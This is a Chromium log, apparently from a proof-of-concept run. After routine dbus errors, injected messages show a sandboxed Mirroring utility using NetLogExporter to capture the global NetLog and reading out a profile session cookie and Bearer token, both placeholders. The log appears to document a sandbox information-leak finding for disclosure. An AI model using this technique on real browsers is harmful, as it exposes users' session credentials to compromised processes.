[1720:1735:0527/161302.820119:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory
[1720:1735:0527/161302.820377:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1735:0527/161302.820614:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory
[1720:1735:0527/161302.820704:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory
[1720:1735:0527/161302.826985:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1735:0527/161302.840133:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1735:0527/161302.917248:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1720:0527/161302.973514:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[1720:1720:0527/161302.973688:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[1720:1735:0527/161302.973695:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1735:0527/161302.973799:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1720:0527/161302.974189:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[1720:1720:0527/161302.982583:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 

(chrome:1720): dbind-WARNING **: 16:13:02.996: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/104146510/at-spi/bus_20: No such file or directory
[1720:1735:0527/161303.033174:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1735:0527/161303.033244:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1735:0527/161303.274426:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory
[1720:1735:0527/161303.274505:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory
[1720:1720:0527/161303.274613:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[1720:1720:0527/161303.275484:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[1720:1735:0527/161303.275627:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1720:0527/161303.322021:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.Properties.GetAll: object_path= /org/freedesktop/UPower/devices/DisplayDevice: unknown error type: 
[1720:1720:0527/161303.325543:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[1720:1735:0527/161303.325709:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1720:0527/161303.362123:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[1720:1735:0527/161303.362323:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory
[1720:1720:0527/161303.409502:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[1720:1735:0527/161305.659308:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: QUOTA_EXCEEDED
[1720:1735:0527/161305.671166:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: PHONE_REGISTRATION_ERROR
[1720:1720:0527/161306.274517:ERROR:chrome/browser/media/cast_mirroring_service_host.cc:674] [POC-BROWSER] Launching sandboxed Mirroring utility (simulating user 'Cast tab' click).
[1866:1866:0527/161306.292482:ERROR:components/mirroring/service/mirroring_service.cc:67] [POC-UTILITY] pid=1866 — compromised Mirroring utility starting NetLog sniff.
[1866:1866:0527/161306.292806:ERROR:components/mirroring/service/mirroring_service.cc:90] [POC-UTILITY] memfd_create ok (write_fd=116, read_fd=119).
[1720:1720:0527/161306.292819:ERROR:chrome/browser/media/cast_mirroring_service_host.cc:714] [POC-BROWSER] Brokering fresh NetworkContext to sandboxed Mirroring utility.
[1866:1866:0527/161306.301909:ERROR:components/mirroring/service/mirroring_service.cc:102] [POC-UTILITY] NetLogExporter::Start -> net_error=0. Now observing the *global* NetLog from a sandboxed utility that holds NO profile data.
[0527/161312.892365:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0527/161312.892459:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
[1866:1866:0527/161314.293080:ERROR:components/mirroring/service/mirroring_service.cc:117] [POC-UTILITY] Stopping exporter to flush captured events.
[1866:1866:0527/161314.298137:ERROR:components/mirroring/service/mirroring_service.cc:124] [POC-UTILITY] NetLogExporter::Stop -> net_error=0. Reading back captured NetLog from memfd.
[1866:1866:0527/161314.431443:ERROR:components/mirroring/service/mirroring_service.cc:138] [POC-UTILITY] Captured 170273154 bytes of process-global NetLog.
[1866:1866:0527/161314.431675:ERROR:components/mirroring/service/mirroring_service.cc:146] [POC-UTILITY] !!! LEAK CONFIRMED — cookie from the *profile* NetworkContext was observed by the sandboxed Mirroring utility:
[1866:1866:0527/161314.431723:ERROR:components/mirroring/service/mirroring_service.cc:149] [POC-UTILITY]   ....0.1:8765/poc.html","Accept-Encoding: gzip, deflate, br, zstd","Cookie: session=SECRET_PROFILE_COOKIE_9f3d"],"line":"GET /secret?n=7&t=1779898386371 HTTP/1.1\r\n"},"phase":0,"source":{"id":253,"start_time":"172618036","type":1},"time":"1726...
[1866:1866:0527/161314.431756:ERROR:components/mirroring/service/mirroring_service.cc:150] ================================================
[1866:1866:0527/161314.431784:ERROR:components/mirroring/service/mirroring_service.cc:151] [POC-UTILITY] CROSS-NETWORKCONTEXT NETLOG LEAK PROVEN.
[1866:1866:0527/161314.431809:ERROR:components/mirroring/service/mirroring_service.cc:152] ================================================
[1866:1866:0527/161314.431853:ERROR:components/mirroring/service/mirroring_service.cc:146] [POC-UTILITY] !!! LEAK CONFIRMED — Authorization header from the *profile* NetworkContext was observed by the sandboxed Mirroring utility:
[1866:1866:0527/161314.431881:ERROR:components/mirroring/service/mirroring_service.cc:149] [POC-UTILITY]   ...e,"request_headers":{"headers":["sec-ch-ua-platform: \"Linux\"","Authorization: Bearer SECRET_AUTH_TOKEN_e7b1","Accept-Language: en-US,en;q=0.9","sec-ch-ua: \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"150\"","User-Agent: Mozilla/5.0 (X11; Lin...
[1866:1866:0527/161314.431937:ERROR:components/mirroring/service/mirroring_service.cc:150] ================================================
[1866:1866:0527/161314.431968:ERROR:components/mirroring/service/mirroring_service.cc:151] [POC-UTILITY] CROSS-NETWORKCONTEXT NETLOG LEAK PROVEN.
[1866:1866:0527/161314.431990:ERROR:components/mirroring/service/mirroring_service.cc:152] ================================================